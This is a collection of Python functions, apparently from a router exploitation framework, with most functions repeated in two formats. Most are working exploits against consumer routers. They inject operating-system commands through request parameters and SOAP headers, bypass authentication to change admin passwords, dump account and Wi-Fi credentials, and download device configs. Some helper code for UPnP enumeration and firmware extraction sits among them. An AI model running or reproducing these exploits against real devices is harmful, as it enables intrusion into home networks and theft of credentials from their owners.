def do_run(self, e): #httplib2.debuglevel = 1 user_agent = 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)' headers = {'User-Agent': user_agent, 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-language': 'sk,cs;q=0.8,en-US;q=0.5,en;q,0.3', 'Connection': 'keep-alive', 'Accept-Encoding': 'gzip, deflate', 'Cache-Control': 'no-cache', 'Cookie': 'C107373883=/omg1337hax'} target = 'http://' + self.host + ":" + self.port + '/blabla' h = httplib2.Http(timeout=60) h.follow_all_redirects = True try: response, content = h.request(target, 'GET', headers=headers) if response.status != 404: print_failed("Unexpected HTTP status, expecting 404 got: %d" % response.status) print_red("Device is not running RomPager") else: if 'server' in response.keys(): server = response.get('server') if re.search('RomPager', server) is not None: print_green("Got RomPager! Server:%s" % server) if re.search('omg1337hax', content.decode()) is not None: print_success("device is vulnerable to misfortune cookie") else: print_failed("test didn't pass.") print_warning("Device MAY still be vulnerable") else: print_failed("RomPager not detected, device is running: %s " % server) else: print_failed("Not running RomPager") except socket.timeout: # Is there a better way of handling timeout in httplib2? print_error("Timeout!")
def do_run(self, e): file = "" for file in self.files: print_info("Testing file: " + file) url = "http://%s:%s/%s?writeData=true®info=0&macAddress= 001122334455 -c 0 ;" \ "%s; echo #" % (self.host, self.port, file, "sleep 10") try: print_info("Doing timebased check with sleep 10") time_start = datetime.datetime.now() response = requests.get(url=url, timeout=60) time_end = datetime.datetime.now() delta = time_end - time_start if response.status_code == 200 and "Update Success!" in response.text: if 13 > delta.seconds > 9: print_success("Timebased check OK target should be vulnerable") else: print_warning("Timebased check failed, but target still might be vulnerable") break except requests.Timeout: print_error("timeout") except requests.ConnectionError: print_error("exploit failed") print_success("Vulnerable file:" + file) print_info("Sending command") url = "http://%s:%s/%s?writeData=true®info=0&macAddress= 001122334455 -c 0 ;" \ "%s; echo #" % (self.host, self.port, file, self.command) try: response = requests.get(url=url, timeout=60) if response.status_code == 200 and "Update Success!" in response.text: print_success("command sent") except requests.Timeout: print_error("timeout") except requests.ConnectionError: print_error("target stopped responding or you issued reboot or killed lighttpd")
def do_run(self, e): url = "http://%s:%s/getcfg.php" % (self.host, self.port) payload = {'SERVICES': 'DEVICE.ACCOUNT'} headers = {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'Accept-Language: en-us,en;q=0.5', 'Accept-Encoding': 'gzip, deflate', 'Content-Type': 'application/x-www-form-urlencoded;charset=utf-8' } try: print_warning("Sending exploit") response = requests.post(url, headers=headers, data=payload, timeout=60) if "<service>DEVICE.ACCOUNT</service>" in response.text: usernames = re.findall("<name>(.*)</name>", response.text) passwords = re.findall("<password>(.*)</password>", response.text) if "==OoXxGgYy==" in passwords: print_error("Exploit failed, router responded with default value ==OoXxGgYy==") else: print_success("") for i in range(len(usernames)): print("Username: "******"Password: "******"Exploit failed") except requests.Timeout: print_error("timeout") except requests.ConnectionError: print_error("exploit failed")
def do_run(self, e): url = "http://%s:%s/diagnostic.php" % (self.host, self.port) payload = {'act': 'ping', 'dst': '& %s&' % self.command} headers = { 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'Accept-Language: en-us,en;q=0.5', 'Accept-Encoding': 'gzip, deflate', 'Content-Type': 'application/x-www-form-urlencoded;charset=utf-8' } try: print_warning("Sending exploit") response = requests.post(url, headers=headers, data=payload, timeout=60) if "<report>OK</report>" in response.text: print_success("output not available this is blind injection") else: print_error( "could not find marker in response, exploit failed") except requests.Timeout: print_error("timeout") except requests.ConnectionError: print_error("exploit failed")
def get_host_info(self, host_info, index): if host_info is not None: # If this host data is already complete, just display it if host_info['dataComplete']: print_warning('Data for this host has already been enumerated!') return try: # Get extended device and service information if host_info: print_info("Requesting device and service info for " + host_info['name'] + " (this could take a few seconds)...") if not host_info['dataComplete']: (xml_headers, xml_data) = self.get_xml(host_info['xml_file']) # print(xmlHeaders) # print(xmlData) if not xml_data: print_error('Failed to request host XML file:' + host_info['xml_file']) return if not self.get_host_information(xml_data, xml_headers, index): print_error("Failed to get device/service info for " + host_info['name']) return print_success('Host data enumeration complete!') # hp.updateCmdCompleter(hp.ENUM_HOSTS) return except KeyboardInterrupt: return
def do_run(self, e): user_agent = 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)' headers = {'User-Agent': user_agent, 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-language': 'sk,cs;q=0.8,en-US;q=0.5,en;q,0.3', 'Connection': 'keep-alive', 'Accept-Encoding': 'gzip, deflate', 'Cache-Control': 'no-cache', 'Cookie': 'C107373883=/omg1337hax'} target = 'http://' + self.host + ":" + self.port + '/blabla' try: response = requests.get(target, headers=headers, timeout=60) if response.status_code != 404: print_failed("Unexpected HTTP status, expecting 404 got: %d" % response.status_code) print_red("Device is not running RomPager") else: if 'server' in response.headers: server = response.headers.get('server') if re.search('RomPager', server) is not None: print_green("Got RomPager! Server:%s" % server) if re.search('omg1337hax', response.text) is not None: print_success("device is vulnerable to misfortune cookie") else: print_failed("test didn't pass.") print_warning("Device MAY still be vulnerable") else: print_failed("RomPager not detected, device is running: %s " % server) else: print_failed("Not running RomPager") except requests.exceptions.Timeout: print_error("Timeout!") except requests.exceptions.ConnectionError: print_error("No route to host")
def check_dependencies(): dependency_list = open("./requirements.txt", 'rt', encoding='utf-8') while True: dependency = dependency_list.readline() if not dependency: break dependency = dependency[:dependency.find('==')] found = importlib.util.find_spec(dependency) if found is None: print_warning(dependency + " not found some modules may not work!") dependency_list.close()
def check_dependencies(): dependency_list = open("./requirements.txt", 'rt', encoding='utf-8') while True: dependency = dependency_list.readline() if not dependency: break # FIXME this is not the best way to parse dependencies probably, may break rext if == is used dependency = dependency[:dependency.find('>=')] # FIXME beautifulsoup4 is imported as bs4 if dependency == 'beautifulsoup4': dependency = 'bs4' found = importlib.util.find_spec(dependency) if found is None: print_warning(dependency + " not found some modules may not work!") dependency_list.close()
def do_run(self, e): target = "http://" + self.host + ":" + self.port try: response = requests.get(target, timeout=60) if response.status_code == requests.codes.unauthorized: print_warning("Password protection detected") for i in range(0, 3): time.sleep(1) requests.get(target+"/BRS_netgear_success.html", timeout=60) response = requests.get(target, timeout=60) if response.status_code == requests.codes.ok: print_success("bypass successful. Now use your browser to have at look at the admin interface.") except requests.RequestException: print_error("timeout!")
def do_run(self, e): url = "http://%s:%s/getpage.gch?pid=101&nextpage=manager_dev_config_t.gch" % (self.host, self.port) try: print_warning("Sending exploit") # It took me longer than necessary to find out how to use Content-Disposition properly # Always set stream=True otherwise you may not get the whole file response = requests.post(url, files={'config': ''}, timeout=60, stream=True) if response.status_code == 200: if response.headers.get('Content-Disposition'): print_success("got file in response") print_info("Writing file to config.bin") core.io.writefile(response.content, "config.bin") print_success("you can now use decryptors/zte/config_zlib_decompress to extract XML") except requests.ConnectionError as e: print_error("connection error %s" % e) except requests.Timeout: print_error("timeout")
def do_run(self, e): target = "http://" + self.host + ":" + self.port try: response = requests.get(target, timeout=60) if response.status_code == requests.codes.unauthorized: print_warning("Password protection detected") for i in range(0, 3): time.sleep(1) requests.get(target + "/BRS_netgear_success.html", timeout=60) response = requests.get(target, timeout=60) if response.status_code == requests.codes.ok: print_success( "bypass successful. Now use your browser to have at look at the admin interface." ) except requests.RequestException: print_error("timeout!")
def do_run(self, e): if self.ssl is False: url = "http://%s:%s" % (self.host, self.port) else: url = "https://%s:%s" % (self.host, self.port) try: print_warning("Sending GET request") response = requests.get(url, timeout=60, verify=False) print("[%s %s] %s" % (response.status_code, response.reason, response.url)) for header in response.headers: print("%s: %s" % (header, response.headers.get(header))) if self.body is True: print("\n") print(response.text) except requests.ConnectionError as e: print_error("connection error %s" % e) except requests.Timeout: print_error("timeout")
def save_file(self, i): """Extract file #i from current FS""" fname = self.get_fname(i) # compressed file data offset in FS block ds = self.get_offset(i) # size of compressed file fs = self.get_fsize(i) # compressed file data fdata = self.cdata[ds:ds + fs] # create all subdirs along the path if they don't exist pp = fname.split('\\') pp = [self.path] + pp ppp = os.sep.join(pp[:-1]) if len(pp) > 1: if not os.path.exists(ppp): os.makedirs(ppp) nfname = os.sep.join(pp) # size of uncompressed file rawfs = -1 ff = open(nfname, 'wb') # perform extraction, some file types are not compressed if fs > 0: if pp[-1].split('.')[-1].lower() in [ 'gif', 'jpg', 'cgi', 'cab', 'txt', 'jar' ]: rawfdata = fdata else: try: rawfdata = core.compression.lzo.pydelzo.decompress( b'\xF0' + pack(">L", fs * 64) + fdata) except core.compression.lzo.LZO_ERROR as lze: print_warning('File "' + fname + '" is damaged or uncompressed [' + str(lze) + '], RAW DATA WRITTEN') rawfdata = fdata else: rawfdata = '' rawfs = len(rawfdata) ff.write(rawfdata) ff.close() # print some debug info for each file print_green('%08X "' % ds + fname + '" %08X' % fs + ' %08X' % rawfs) return fs, rawfs
def do_run(self, e): url = "http://%s:%s/hidden_info.html" % (self.host, self.port) try: print_warning("Sending exploit") response = requests.get(url, timeout=60) if "Manufacture Information" in response.text: print_success("information obtained, writing response into hidden_info.html") core.io.writetextfile(response.text, "hidden_info.html") print_warning("Please check file, response seems to depend on FW version, parsing may not be accurate") value = re.findall("str =\(\"\[\{(.*)\}", response.text) value = value[0].split(',') for i in value: print_green(i) else: print_error("exploit failed") except requests.Timeout: print_error("timeout") except requests.ConnectionError: print_error("exploit failed")
def do_run(self, e): url = "http://%s:%s/diagnostic.php" % (self.host, self.port) payload = {'act': 'ping', 'dst': '& %s&' % self.command} headers = {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'Accept-Language: en-us,en;q=0.5', 'Accept-Encoding': 'gzip, deflate', 'Content-Type': 'application/x-www-form-urlencoded;charset=utf-8' } try: print_warning("Sending exploit") response = requests.post(url, headers=headers, data=payload, timeout=60) if "<report>OK</report>" in response.text: print_success("output not available this is blind injection") else: print_error("could not find marker in response, exploit failed") except requests.Timeout: print_error("timeout") except requests.ConnectionError: print_error("exploit failed")
def do_run(self, e): url = "http://%s:%s/HNAP1" % (self.host, self.port) headers = { "SOAPAction": '"http://purenetworks.com/HNAP1/GetDeviceSettings/`%s`"' % self.command } try: print_warning("Sending exploit") requests.post(url, headers=headers, timeout=60) print_warning( "HTTPd is still responding this is OK if you changed the payload" ) except requests.ConnectionError: print_success("exploit sent.") answer = query_yes_no( "Do you wish to dump all system settings? (if telned was started)" ) if answer is True: tn = telnetlib.Telnet(self.host, self.port) print_info("Sending command through telnet") tn.read_until(b'#', timeout=15) tn.write(b"xmldbc -d /var/config.xml; cat /var/config.xml\n") response = tn.read_until(b'#', timeout=15) tn.close() print_info("Writing response to config.xml") writetextfile(response.decode('ascii'), "config.xml") print_warning( "Don't forget to restart httpd or reboot the device") except requests.Timeout: print_error("timeout")
def show_complete_host_info(self, index, fp=False): # na = 'N/A' service_keys = ['controlURL', 'eventSubURL', 'serviceId', 'SCPDURL', 'fullName'] if not fp: fp = sys.stdout if index < 0 or index >= len(self.enum_hosts): fp.write('Specified host does not exist...\n') return try: host_info = self.enum_hosts[index] if not host_info['dataComplete']: print_warning( "Cannot show all host info because I don't have it all yet. Try running 'host info %d' first...\n" % index) fp.write('Host name: %s\n' % host_info['name']) fp.write('UPNP XML File: %s\n\n' % host_info['xml_file']) fp.write('\nDevice information:\n') for deviceName, deviceStruct in host_info['deviceList'].items(): fp.write('\tDevice Name: %s\n' % deviceName) for serviceName, serviceStruct in deviceStruct['services'].items(): fp.write('\t\tService Name: %s\n' % serviceName) for key in service_keys: fp.write('\t\t\t%s: %s\n' % (key, serviceStruct[key])) fp.write('\t\t\tServiceActions:\n') for actionName, actionStruct in serviceStruct['actions'].items(): fp.write('\t\t\t\t%s\n' % actionName) for argName, argStruct in actionStruct['arguments'].items(): fp.write('\t\t\t\t\t%s \n' % argName) for key, val in argStruct.items(): if key == 'relatedStateVariable': fp.write('\t\t\t\t\t\t%s:\n' % val) for k, v in serviceStruct['serviceStateVariables'][val].items(): fp.write('\t\t\t\t\t\t\t%s: %s\n' % (k, v)) else: fp.write('\t\t\t\t\t\t%s: %s\n' % (key, val)) except Exception as e: print_error('Caught exception while showing host info:') traceback.print_stack(e)
def save_file(self, i): """Extract file #i from current FS""" fname = self.get_fname(i) # compressed file data offset in FS block ds = self.get_offset(i) # size of compressed file fs = self.get_fsize(i) # compressed file data fdata = self.cdata[ds: ds + fs] # create all subdirs along the path if they don't exist pp = fname.split('\\') pp = [self.path] + pp ppp = os.sep.join(pp[:-1]) if len(pp) > 1: if not os.path.exists(ppp): os.makedirs(ppp) nfname = os.sep.join(pp) # size of uncompressed file rawfs = -1 ff = open(nfname, 'wb') # perform extraction, some file types are not compressed if fs > 0: if pp[-1].split('.')[-1].lower() in ['gif', 'jpg', 'cgi', 'cab', 'txt', 'jar']: rawfdata = fdata else: try: rawfdata = core.compression.lzo.pydelzo.decompress(b'\xF0' + pack(">L", fs * 64) + fdata) except core.compression.lzo.LZO_ERROR as lze: print_warning('File "' + fname + '" is damaged or uncompressed [' + str(lze) + '], RAW DATA WRITTEN') rawfdata = fdata else: rawfdata = '' rawfs = len(rawfdata) ff.write(rawfdata) ff.close() # print some debug info for each file print_info('%08X "' % ds + fname + '" %08X' % fs + ' %08X' % rawfs) return fs, rawfs
def do_run(self, e): url = "http://%s:%s/command.php" % (self.host, self.port) payload = {'cmd': '%s; echo end' % self.command} headers = { 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'Accept-Language: en-us,en;q=0.5', 'Accept-Encoding': 'gzip, deflate', 'Content-Type': 'application/x-www-form-urlencoded;charset=utf-8' } try: print_warning("Sending exploit") # Requests forces URI encoding and can't be turned off # so we have to prepare HTTP request manually and modify it with urllib.parse.quote before sending request = requests.Request('POST', url, headers=headers, data=payload) r = request.prepare() # print("Before modification:", r.body) r.body = urllib.parse.quote('cmd=%s; echo end' % self.command, safe='/=') r.headers.update({'Content-Length': len(r.body)}) # print("After modification:", r.body) s = requests.Session() response = s.send(r, timeout=15) s.close() # This won't work # response = requests.post(url, headers=headers, data=payload, proxies=proxies, timeout=60) if "end" in response.text: # end8758 is unique tag to search for in output print_success("output of %s:" % self.command) print_success(response.text) else: print_error( "could not find marker in response, exploit failed") except requests.Timeout: print_error("timeout") except requests.ConnectionError: print_error("exploit failed or you killed httpd")
def do_run(self, e): url = "http://%s:%s/getcfg.php" % (self.host, self.port) payload = {'SERVICES': 'DEVICE.ACCOUNT'} headers = { 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'Accept-Language: en-us,en;q=0.5', 'Accept-Encoding': 'gzip, deflate', 'Content-Type': 'application/x-www-form-urlencoded;charset=utf-8' } try: print_warning("Sending exploit") response = requests.post(url, headers=headers, data=payload, timeout=60) if "<service>DEVICE.ACCOUNT</service>" in response.text: usernames = re.findall("<name>(.*)</name>", response.text) passwords = re.findall("<password>(.*)</password>", response.text) if "==OoXxGgYy==" in passwords: print_error( "Exploit failed, router responded with default value ==OoXxGgYy==" ) else: print_success("") for i in range(len(usernames)): print("Username: "******"Password: "******"Exploit failed") except requests.Timeout: print_error("timeout") except requests.ConnectionError: print_error("exploit failed")
def do_run(self, e): url = "http://%s:%s/tools_admin.php?NO_NEED_AUTH=1&AUTH_GROUP=0" % (self.host, self.port) try: print_warning("Sending exploit") response = requests.get(url, timeout=60) if response.status_code == 200 and 'name="admin_password1"' in response.text: print_success("target seems vulnerable") print_success("You can visit any page by adding ?NO_NEED_AUTH=1&AUTH_GROUP=0 to URL") print_info("Changing admin password") headers = {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'Accept-Language: en-us,en;q=0.5', 'Accept-Encoding': 'gzip, deflate', 'Content-Type': 'application/x-www-form-urlencoded;charset=utf-8' } payload = {'NO_NEED_AUTH': 1, 'AUTH_GROUP': 0, 'ACTION_POST': 1, 'apply': 'Save+Settings', 'admin_name': 'admin', 'admin_password1': '%s' % self.password, 'admin_password2': '%s' % self.password, 'grap_auth_enable_h': 0, 'rt_ipaddr': '0.0.0.0'} url = "http://%s:%s/tools_admin.php" % (self.host, self.port) response = requests.post(url=url, headers=headers, data=payload, timeout=60) if response.status_code == 200: print_success("password seems to be changed try to login with: %s" % self.password) else: print_error("password change failed") else: print_error("exploit failed") except requests.Timeout: print_error("timeout") except requests.ConnectionError: print_error("exploit failed")
def do_run(self, e): url = "http://%s:%s/hidden_info.html" % (self.host, self.port) try: print_warning("Sending exploit") response = requests.get(url, timeout=60) if "Manufacture Information" in response.text: print_success( "information obtained, writing response into hidden_info.html" ) core.io.writetextfile(response.text, "hidden_info.html") print_warning( "Please check file, response seems to depend on FW version, parsing may not be accurate" ) value = re.findall("str =\(\"\[\{(.*)\}", response.text) value = value[0].split(',') for i in value: print_green(i) else: print_error("exploit failed") except requests.Timeout: print_error("timeout") except requests.ConnectionError: print_error("exploit failed")
def initialize_sockets(self): try: # This is needed to join a multicast group self.mreq = struct.pack("4sl", socket.inet_aton(self.host), socket.INADDR_ANY) # Set up client socket self.csock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self.csock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 2) # Set up server socket self.ssock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) self.ssock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # BSD systems also need to set SO_REUSEPORT try: self.ssock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1) except Exception: pass # Only bind to this interface if self.interface is not None: print_info("Binding to interface: " + self.interface) self.ssock.setsockopt(socket.SOL_SOCKET, socket.SO_BINDTODEVICE, struct.pack("%ds" % (len(self.interface) + 1,), self.interface)) self.csock.setsockopt(socket.SOL_SOCKET, socket.SO_BINDTODEVICE, struct.pack("%ds" % (len(self.interface) + 1,), self.interface)) try: self.ssock.bind(('', self.port)) except Exception: print_warning("failed to bind: " + self.host + ":" + str(self.port) + " ") try: self.ssock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, self.mreq) except Exception: print_warning("failed to join multicast group") except Exception: print_error("failed to initialize UPNP sockets") return False return True
def do_run(self, e): url = "http://%s:%s/getpage.gch?pid=101&nextpage=manager_dev_config_t.gch" % ( self.host, self.port) try: print_warning("Sending exploit") # It took me longer than necessary to find out how to use Content-Disposition properly # Always set stream=True otherwise you may not get the whole file response = requests.post(url, files={'config': ''}, timeout=60, stream=True) if response.status_code == 200: if response.headers.get('Content-Disposition'): print_success("got file in response") print_info("Writing file to config.bin") core.io.writefile(response.content, "config.bin") print_success( "you can now use decryptors/zte/config_zlib_decompress to extract XML" ) except requests.ConnectionError as e: print_error("connection error %s" % e) except requests.Timeout: print_error("timeout")
def de_cfg(self, data): """Get raw config data from raw /compressed/encrypted & comressed""" g = self.smart_guess(data) if g == self.CFG_RAW: print_warning('File is :\tnot compressed, not encrypted') return g, data elif g == self.CFG_LZO: print_warning('File is :\tcompressed, not encrypted') return g, self.decompress_cfg(data) elif g == self.CFG_ENC: print_warning('File is :\tcompressed, encrypted') return g, self.decompress_cfg(self.decrypt_cfg(data))
def do_run(self, e): url = "http://%s:%s/HNAP1" % (self.host, self.port) headers = {"SOAPAction": '"http://purenetworks.com/HNAP1/GetDeviceSettings/`%s`"' % self.command} try: print_warning("Sending exploit") requests.post(url, headers=headers, timeout=60) print_warning("HTTPd is still responding this is OK if you changed the payload") except requests.ConnectionError: print_success("exploit sent.") answer = query_yes_no("Do you wish to dump all system settings? (if telned was started)") if answer is True: tn = telnetlib.Telnet(self.host, self.port) print_info("Sending command through telnet") tn.read_until(b'#', timeout=15) tn.write(b"xmldbc -d /var/config.xml; cat /var/config.xml\n") response = tn.read_until(b'#', timeout=15) tn.close() print_info("Writing response to config.xml") writetextfile(response.decode('ascii'), "config.xml") print_warning("Don't forget to restart httpd or reboot the device") except requests.Timeout: print_error("timeout")
def do_run(self, e): url = "http://%s:%s/" % (self.host, self.port) # Headers with SOAP requests headers = { "SOAPAction": "urn:NETGEAR-ROUTER:service:DeviceInfo:1#GetInfo" } headers1 = { "SOAPAction": "urn:NETGEAR-ROUTER:service:LANConfigSecurity:1#GetInfo" } headers2 = { "SOAPAction": "urn:NETGEAR-ROUTER:service:WLANConfiguration:1#GetInfo" } headers3 = { "SOAPAction": "urn:NETGEAR-ROUTER:service:WLANConfiguration:1#GetWPASecurityKeys" } headers4 = { "SOAPAction": "urn:NETGEAR-ROUTER:service:DeviceInfo:1#GetAttachDevice" } payload = {"": ""} # Empty form will cause that the auth is bypassed # This is a very stupid way to parse XML but xml.etree is not playing nice with SOAP and # I don't feel like adding lxml into dependencies just for this module striptag = re.compile(r'<.*?>') try: print_warning("Sending exploit") # Request DeviceInfo response = requests.post(url, headers=headers, data=payload, timeout=60) if response.status_code != 200: raise requests.ConnectionError print_info("Writing response to DeviceInfo.xml") core.io.writetextfile(response.text, "DeviceInfo.xml") print_info("Parsing response") regex = re.search("<Description>(.*)", response.text) regex2 = re.search("<SerialNumber>(.*)", response.text) regex3 = re.search("<Firmwareversion>(.*)", response.text) try: description = striptag.sub('', regex.group(1)) serial_number = striptag.sub('', regex2.group(1)) firmware = striptag.sub('', regex3.group(1)) print("Device: %s" % description) print("Serial number: %s" % serial_number) print("FW version: %s" % firmware) except IndexError: print_error("opps unable to locate this regular expression") # Request web UI password response = requests.post(url, headers=headers1, data=payload, timeout=60) if response.status_code != 200: raise requests.ConnectionError print_info("Writing response to LANConfigSecurity.xml") core.io.writetextfile(response.text, "LANConfigSecurity.xml") print_info("Parsing response") regex = re.search("<NewPassword>(.*)", response.text) try: password = striptag.sub('', regex.group(1)) print("Password: %s" % password) except IndexError: print_error("opps unable to locate this regular expression") # Request WLAN info response = requests.post(url, headers=headers2, data=payload, timeout=60) if response.status_code != 200: raise requests.ConnectionError print_info("Writing response to WLANConfiguration.xml") core.io.writetextfile(response.text, "WLANConfiguration.xml") print_info("Parsing response") regex = re.search("<NewSSID>(.*)", response.text) regex2 = re.search("<NewBasicEncryptionModes>(.*)", response.text) try: ssid = regex.group(1) ssid = striptag.sub('', ssid) wlan_encryption = striptag.sub('', regex2.group(1)) print("SSID: " + ssid) print("Encryption: %s" % wlan_encryption) except IndexError: print_error("opps unable to locate this regular expression") # Wlan password response = requests.post(url, headers=headers3, data=payload, timeout=60) if response.status_code != 200: raise requests.ConnectionError print_info( "Writing response to WLANConfigurationGetWPASecurityKeys.xml") core.io.writetextfile(response.text, "WLANConfigurationGetWPASecurityKeys.xml") print_info("Parsing response") regex = re.search("<NewWPAPassphrase>(.*)", response.text) try: wlan_password = striptag.sub('', regex.group(1)) print("Passphrase: %s" % wlan_password) except IndexError: print_error("opps unable to locate this regular expression") # Attached devices response = requests.post(url, headers=headers4, data=payload, timeout=60) if response.status_code != 200: raise requests.ConnectionError print_info("Writing response to DeviceInfoGetAttachDevice.xml") core.io.writetextfile(response.text, "DeviceInfoGetAttachDevice.xml") print_info("Parsing response") regex = re.search("<NewAttachDevice>(.*)", response.text) try: devices = striptag.sub('', regex.group(1)) devices = devices.split('@')[ 1:] # First element is number of records for device in devices: device = device.split(";") print("ID: %s" % device[0]) print("IP: %s" % device[1]) print("Name: %s" % device[2]) print("MAC: %s" % interface.utils.lookup_mac(device[3])) print("Connection type: %s" % device[4]) except IndexError: print_error("opps unable to locate this regular expression") except requests.ConnectionError as e: print_error("lost connection ") traceback.print_tb(e) except requests.Timeout: print_error("timeout")
def do_run(self, e): url = "http://%s:%s/" % (self.host, self.port) # Headers with SOAP requests headers = {"SOAPAction": "urn:NETGEAR-ROUTER:service:DeviceInfo:1#GetInfo"} headers1 = {"SOAPAction": "urn:NETGEAR-ROUTER:service:LANConfigSecurity:1#GetInfo"} headers2 = {"SOAPAction": "urn:NETGEAR-ROUTER:service:WLANConfiguration:1#GetInfo"} headers3 = {"SOAPAction": "urn:NETGEAR-ROUTER:service:WLANConfiguration:1#GetWPASecurityKeys"} headers4 = {"SOAPAction": "urn:NETGEAR-ROUTER:service:DeviceInfo:1#GetAttachDevice"} payload = {"": ""} # Empty form will cause that the auth is bypassed # This is a very stupid way to parse XML but xml.etree is not playing nice with SOAP and # I don't feel like adding lxml into dependencies just for this module striptag = re.compile(r'<.*?>') try: print_warning("Sending exploit") # Request DeviceInfo response = requests.post(url, headers=headers, data=payload, timeout=60) if response.status_code != 200: raise requests.ConnectionError print_info("Writing response to DeviceInfo.xml") core.io.writetextfile(response.text, "DeviceInfo.xml") print_info("Parsing response") regex = re.search("<Description>(.*)", response.text) regex2 = re.search("<SerialNumber>(.*)", response.text) regex3 = re.search("<Firmwareversion>(.*)", response.text) try: description = striptag.sub('', regex.group(1)) serial_number = striptag.sub('', regex2.group(1)) firmware = striptag.sub('', regex3.group(1)) print("Device: %s" % description) print("Serial number: %s" % serial_number) print("FW version: %s" % firmware) except IndexError: print_error("opps unable to locate this regular expression") # Request web UI password response = requests.post(url, headers=headers1, data=payload, timeout=60) if response.status_code != 200: raise requests.ConnectionError print_info("Writing response to LANConfigSecurity.xml") core.io.writetextfile(response.text, "LANConfigSecurity.xml") print_info("Parsing response") regex = re.search("<NewPassword>(.*)", response.text) try: password = striptag.sub('', regex.group(1)) print("Password: %s" % password) except IndexError: print_error("opps unable to locate this regular expression") # Request WLAN info response = requests.post(url, headers=headers2, data=payload, timeout=60) if response.status_code != 200: raise requests.ConnectionError print_info("Writing response to WLANConfiguration.xml") core.io.writetextfile(response.text, "WLANConfiguration.xml") print_info("Parsing response") regex = re.search("<NewSSID>(.*)", response.text) regex2 = re.search("<NewBasicEncryptionModes>(.*)", response.text) try: ssid = regex.group(1) ssid = striptag.sub('', ssid) wlan_encryption = striptag.sub('', regex2.group(1)) print("SSID: " + ssid) print("Encryption: %s" % wlan_encryption) except IndexError: print_error("opps unable to locate this regular expression") # Wlan password response = requests.post(url, headers=headers3, data=payload, timeout=60) if response.status_code != 200: raise requests.ConnectionError print_info("Writing response to WLANConfigurationGetWPASecurityKeys.xml") core.io.writetextfile(response.text, "WLANConfigurationGetWPASecurityKeys.xml") print_info("Parsing response") regex = re.search("<NewWPAPassphrase>(.*)", response.text) try: wlan_password = striptag.sub('', regex.group(1)) print("Passphrase: %s" % wlan_password) except IndexError: print_error("opps unable to locate this regular expression") # Attached devices response = requests.post(url, headers=headers4, data=payload, timeout=60) if response.status_code != 200: raise requests.ConnectionError print_info("Writing response to DeviceInfoGetAttachDevice.xml") core.io.writetextfile(response.text, "DeviceInfoGetAttachDevice.xml") print_info("Parsing response") regex = re.search("<NewAttachDevice>(.*)", response.text) try: devices = striptag.sub('', regex.group(1)) devices = devices.split('@')[1:] # First element is number of records for device in devices: device = device.split(";") print("ID: %s" % device[0]) print("IP: %s" % device[1]) print("Name: %s" % device[2]) print("MAC: %s" % interface.utils.lookup_mac(device[3])) print("Connection type: %s" % device[4]) except IndexError: print_error("opps unable to locate this regular expression") except requests.ConnectionError as e: print_error("lost connection ") traceback.print_tb(e) except requests.Timeout: print_error("timeout")
def do_run(self, e): print_warning("Sending payload sysinfo") result = self.send_payload("sysinfo.cgi") if result: print_success("Got system information, writing to file") core.io.writetextfile(result, "sysinfo") print_info("Analyzing sysinfo...") regex = re.search("device::default_passphrase=(.*)", result) if regex: try: print_green("Default admin passphrasse: " + regex.group(1)) except IndexError: print_error("Unable to locate passphrasse") regex = re.search("device::mac_addr=(.*)", result) if regex: try: print_green("MAC: " + regex.group(1) + lookup_mac(regex.group(1))) except IndexError: print_error("Unable to locate MAC") regex = re.search("device::default_ssid=(.*)", result) if regex: try: print_green("Default SSID:: " + regex.group(1)) except IndexError: print_error("Unable to locate default SSID") regex = re.search("device::wps_pin=(.*)", result) if regex: try: print_green("WPS Pin: " + regex.group(1)) except IndexError: print_error("Unable to locate WPS pin") regex = re.search("wl0_ssid=(.*)", result) if regex: try: print_green("SSID: " + regex.group(1)) except IndexError: print_error("Unable to locate SSID") regex = re.search("wl0_passphrase=(.*)", result) if regex: try: print_green("Passphrase: " + regex.group(1)) except IndexError: print_error("Unable to locate passphrase") regex = re.search("wl1_ssid=(.*)", result) if regex: try: print_green("SSID: " + regex.group(1)) except IndexError: print_error("Unable to locate SSID") regex = re.search("wl1_passphrase=(.*)", result) if regex: try: print_green("Passphrase: " + regex.group(1)) except IndexError: print_error("Unable to locate passphrase") print_yellow("Sending payload getstinfo") result = self.send_payload("getstinfo.cgi") if result: print_success("Got SSID hash and passphrase hash, writing to file") core.io.writetextfile(result, "getstinfo") print_success(result)
def do_device(self, e): # This was originally host command but since REXT uses host on something else... # host_info = None args = e.split(' ') if args[0] == "get": if len(args) != 2: print_error("Invalid number of arguments") return try: index = int(args[1]) host_info = self.enum_hosts[index] except Exception: print_error("Second argument is not a number") return self.get_host_info(host_info, index) elif args[0] == "details": try: index = int(args[1]) host_info = self.enum_hosts[index] except Exception as e: print_error("Index error") return try: # If this host data is already complete, just display it if host_info['dataComplete']: self.show_complete_host_info(index) else: print_error("Can't show host info because I don't have it. Please run 'host get %d'" % index) except KeyboardInterrupt as e: pass return elif args[0] == "list": if len(self.enum_hosts) == 0: print_info("No known hosts - try running the 'msearch' or 'pcap' commands") return for index, host_info in self.enum_hosts.items(): print_info("[%d] %s" % (index, host_info['name'])) return elif args[0] == "summary": try: index = int(args[1]) host_info = self.enum_hosts[index] except: print_error("Please provide correct device id") return print('Host:', host_info['name']) print('XML File:', host_info['xml_file']) for device_name, deviceData in host_info['deviceList'].items(): print(device_name) for k, v in deviceData.items(): if 